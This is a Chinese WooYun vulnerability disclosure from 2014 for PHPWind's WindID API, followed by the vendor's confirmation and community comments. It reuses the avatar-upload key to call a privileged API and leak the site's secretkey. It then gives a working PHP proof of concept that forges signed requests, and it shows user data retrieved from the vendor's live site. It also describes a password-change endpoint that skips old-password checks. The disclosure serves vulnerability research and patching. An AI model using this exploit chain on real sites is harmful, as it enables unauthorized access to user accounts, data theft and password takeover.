当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(102) 关注此漏洞

缺陷编号: WooYun-2014-72727

漏洞标题: 一个PHPWIND可拿shell的高危漏洞

相关厂商: phpwind

漏洞作者: Map

提交时间: 2014-08-17 07:13

公开时间: 2014-11-15 07:14

漏洞类型: 设计缺陷/逻辑错误

危害等级: 高

自评Rank: 18

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 无

24人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-08-17: 细节已通知厂商并且等待厂商处理中
2014-08-19: 厂商已经确认,细节仅向厂商公开
2014-08-22: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-10-13: 细节向核心白帽子及相关领域专家公开
2014-10-23: 细节向普通白帽子公开
2014-11-02: 细节向实习白帽子公开
2014-11-15: 细节向公众公开

简要描述:

如题。

详细说明:

没想到PHPWIND犯了一个和PHPCMS一样的漏洞。



在src/applications/windidserver/api/controller/AppController.php内代码:



code 区域
public function listAction() {
$result = $this->_getAppDs()->getList();
$this->output($result);
}





如何获取可以访问接口的key?

查看用户上传头像页面就可以知道了:

/phpwind/src/windid/service/user/srv/WindidUserService.php

内的代码:

code 区域
$key = WindidUtility::appKey($appId, $time, $appKey, array('uid'=>$uid, 'type'=>'flash'), array('uid'=>'undefined'));

……





去头像页面查看一下源文件

http://localhost/phpwind/index.php?m=profile&c=avatar&_left=avatar



phpwind.jpg





解出urldecode得:



http://localhost/phpwind/windid/index.php?m=api&c=avatar&a=doAvatar&uid=1&windidkey=f5b35f56c88695b9069e18ecaafad874&time=1408197299&clientid=1&type=flash&avatar=http://localhost/phpwind/windid/attachment/avatar/000/00/00/1.jpg?r=88418



去掉

&avatar=http://localhost/phpwind/windid/attachment/avatar/000/00/00/1.jpg?r=88418



然后记得,还需要POST一个uid等于undefined



把doAvatar换成list,avatar换成app得:



http://localhost/phpwind/windid/index.php?m=api&c=app&a=list&uid=1&windidkey=f5b35f56c88695b9069e18ecaafad874&time=1408197299&clientid=1&type=flash



POST:uid=undefined



得:

{"1":{"id":"1","name":"phpwind9.0","siteurl":"http:\/\/localhost\/phpwind","siteip":"","secretkey":"73e3dcdd733c7c3733c17273a624e162","apifile":"windid.php","charset":"gbk","issyn":"1","isnotify":"1"}}



wind2.jpg





拿到这个key,我可以做的事情太多了,用户体系内的所有事情我都可以做了。

漏洞证明:

wind2.jpg





拿到这个key,我可以做的事情太多了,用户体系内的所有事情我都可以做了。



在官网测试了一下,拿到key后测试一下读取一个用户的资料:



code 区域
<?php

$secretkey = '308c6c43a*****279dd61dd80e8d59bd';
$c = 'user';
$a = 'get';

$data = array('uid'=>'658925');
$time = time();
$key = appKey('1', time(), $secretkey, array('userid'=>658925), $data);

echo post('http://**.**.**.**/windid/index.php?m=api&c='.$c.'&a='.$a.'&windidkey='.$key.'&time='.$time .'&clientid=1&userid=658925',$data);

function post($uri,$data) {
$ch = curl_init ();
curl_setopt ( $ch, CURLOPT_URL, $uri );
curl_setopt ( $ch, CURLOPT_POST, 1 );
curl_setopt ( $ch, CURLOPT_HEADER, 0 );
curl_setopt ( $ch, CURLOPT_RETURNTRANSFER, 1 );
curl_setopt ( $ch, CURLOPT_POSTFIELDS, $data );
$return = curl_exec ( $ch );
curl_close ( $ch );
return $return;
}

function appKey($apiId, $time, $secretkey, $get, $post) {
$array = array('m', 'c', 'a', 'windidkey', 'clientid', 'time', '_json', 'jcallback', 'csrf_token', 'Filename', 'Upload', 'token');
$str = '';
ksort($get);
ksort($post);
foreach ($get AS $k=>$v) {
if (in_array($k, $array)) continue;
$str .=$k.$v;
}
foreach ($post AS $k=>$v) {
if (in_array($k, $array)) continue;
$str .=$k.$v;
}
return md5(md5($apiId.'||'.$secretkey).$time.$str);

}

?>





phpwind.jpg





{"uid":"658925","username":"phpwind","email":"fengyu@**.**.**.**","safecv":"5b4111de","regdate":"1143101940","regip":""}









在User的api内还有一个edit的接口,可以修改任意用户的密码,调用它,不填写old_password,将可以修改任意用户的密码,不会验证原密码的。

修复方案:

不要轻信key,可以将m,a,c都加入key的运算。

版权声明:转载请注明来源 Map@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2014-08-19 17:03

厂商回复:

亲,感谢您的关注和支持,该漏洞我们正在修复!

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2014-08-17 11:32 | Map ( 普通白帽子 | Rank:184 漏洞数:11 | 闭关几个星期,学点东西。)
    0

    这么安静。

  2. 2014-08-17 11:44 | 猪猪侠 认证白帽子 ( 核心白帽子 | Rank:4646 漏洞数:356 | 你都有那么多超级棒棒糖了,还要自由干吗?)
    2

    看标题,不明觉厉啊。

  3. 2014-08-17 11:51 | Map ( 普通白帽子 | Rank:184 漏洞数:11 | 闭关几个星期,学点东西。)
    0

    @猪猪侠 标题被改了。

  4. 2014-08-17 14:09 | blue 认证白帽子 ( 普通白帽子 | Rank:779 漏洞数:70 | 我心中有猛虎,细嗅蔷薇。)
    4

    楼主厉害的不成样子,必须是身高八尺,胸围也是八尺的真汉子

  5. 2014-08-17 16:18 | Map ( 普通白帽子 | Rank:184 漏洞数:11 | 闭关几个星期,学点东西。)
    0

    @blue 蓝哥……

  6. 2014-08-18 10:25 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)
    1

    好久不见phpwind了

  7. 2014-08-18 15:04 | Map ( 普通白帽子 | Rank:184 漏洞数:11 | 闭关几个星期,学点东西。)
    0

    @疯狗 狗哥,下午有了点时间我刚更新了一下这个漏洞的信息方便厂家修复,你能帮忙通过审核一下么。

  8. 2014-08-19 17:10 | 小胖子 认证白帽子 ( 核心白帽子 | Rank:1878 漏洞数:154 | 不要患得患失,我羡慕你,但是我还是选择做...)
    0

    我操,前排都抢不到了

  9. 2014-08-19 17:18 | Map ( 普通白帽子 | Rank:184 漏洞数:11 | 闭关几个星期,学点东西。)
    0

    好在漏洞到了时间是会对外公开的,这是一个我挺喜欢的漏洞。

  10. 2014-08-19 17:25 | adm1n ( 普通白帽子 | Rank:216 漏洞数:66 | 只是一个渣渣而已。。。)
    1

    膜拜洞主

  11. 2014-08-19 17:27 | 贫道来自河北 ( 普通白帽子 | Rank:1469 漏洞数:439 | 一个立志要把乌云集市变成零食店的男人)
    0

    @Map 敢问洞主师从何处

  12. 2014-08-19 18:03 | 小九 ( 路人 | Rank:16 漏洞数:5 | 非尖刀小九,民间草根)
    1

    一堆小电影网站要倒霉了

  13. 2014-08-19 18:09 | xsser 认证白帽子 ( 普通白帽子 | Rank:297 漏洞数:22 | 当我又回首一切,这个世界会好吗?)
    0

    又是1w的节奏啊

  14. 2014-08-19 18:43 | 疯子 ( 普通白帽子 | Rank:259 漏洞数:45 | 世人笑我太疯癫,我笑世人看不穿~)
    1

    哎,走了XX流程,前台都看不到,悲剧!@xsser

  15. 2014-08-19 19:00 | Noxxx ( 普通白帽子 | Rank:700 漏洞数:55 )
    0

    留个名

  16. 2014-08-19 21:12 | Azui ( 实习白帽子 | Rank:61 漏洞数:15 | 人有两件宝,双手和大脑。)
    0

    不明觉厉

  17. 2014-08-21 14:34 | 铁汉 ( 路人 | Rank:12 漏洞数:6 | 向各种大神学习之)
    0

    坐等此洞放出,又死一片

  18. 2014-08-21 17:47 | 贫道来自河北 ( 普通白帽子 | Rank:1469 漏洞数:439 | 一个立志要把乌云集市变成零食店的男人)
    0

    @Map 发现洞主喜欢挑战一些高难度的建站程序,期待下次你发个帝国cms的高危漏洞

  19. 2014-08-22 17:57 | 大大灰狼 ( 普通白帽子 | Rank:278 漏洞数:64 | Newbie)
    0

    @猪猪侠 你是传说中的猪猪侠吗?

  20. 2014-08-22 21:35 | xsser 认证白帽子 ( 普通白帽子 | Rank:297 漏洞数:22 | 当我又回首一切,这个世界会好吗?)
    0

    @贫道来自河北 挑衅

  21. 2014-08-22 21:57 | 贫道来自河北 ( 普通白帽子 | Rank:1469 漏洞数:439 | 一个立志要把乌云集市变成零食店的男人)
    0

    @xsser 俺就是想知道帝国cms到底有漏洞没

  22. 2014-08-24 23:12 | 李白 ( 普通白帽子 | Rank:142 漏洞数:29 )
    0

    @贫道来自河北 挑衅

  23. 2014-08-24 23:31 | 贫道来自河北 ( 普通白帽子 | Rank:1469 漏洞数:439 | 一个立志要把乌云集市变成零食店的男人)
    0

    @李白 诗仙 你特马得把我吓哭了

  24. 2014-08-24 23:33 | roker ( 普通白帽子 | Rank:372 漏洞数:109 )
    0

    @贫道来自河北 @李白 两位道友好

  25. 2014-08-25 00:13 | 贫道来自河北 ( 普通白帽子 | Rank:1469 漏洞数:439 | 一个立志要把乌云集市变成零食店的男人)
    0

    @roker 大牛好久,是不是最近有大动作啊

  26. 2014-08-27 10:10 | D_in ( 普通白帽子 | Rank:423 漏洞数:65 | 到我嘴里来)
    1

    必须关注啊

  27. 2014-09-20 13:18 | 风花雪月 ( 实习白帽子 | Rank:67 漏洞数:49 | []+[]|[]-[][][][][]%[][]|[]\[]%[][]|[]\[...)
    0

    火拉拉 我看不到啊!!

  28. 2014-11-15 10:09 | 闭关修炼 ( 路人 | Rank:23 漏洞数:13 | 学习黑客技术是一种信仰。只有不断的突破。...)
    1

    支持一下,

  29. 2015-03-04 13:25 | 90Snake ( 普通白帽子 | Rank:167 漏洞数:53 | 人如果没有梦想,跟咸鱼有什么分别)
    0

    真屌。。。。。

  30. 2015-04-02 19:36 | 1c3z ( 普通白帽子 | Rank:297 漏洞数:63 | @)!^)
    0

    简直溜

登录后才能发表评论,请先 登录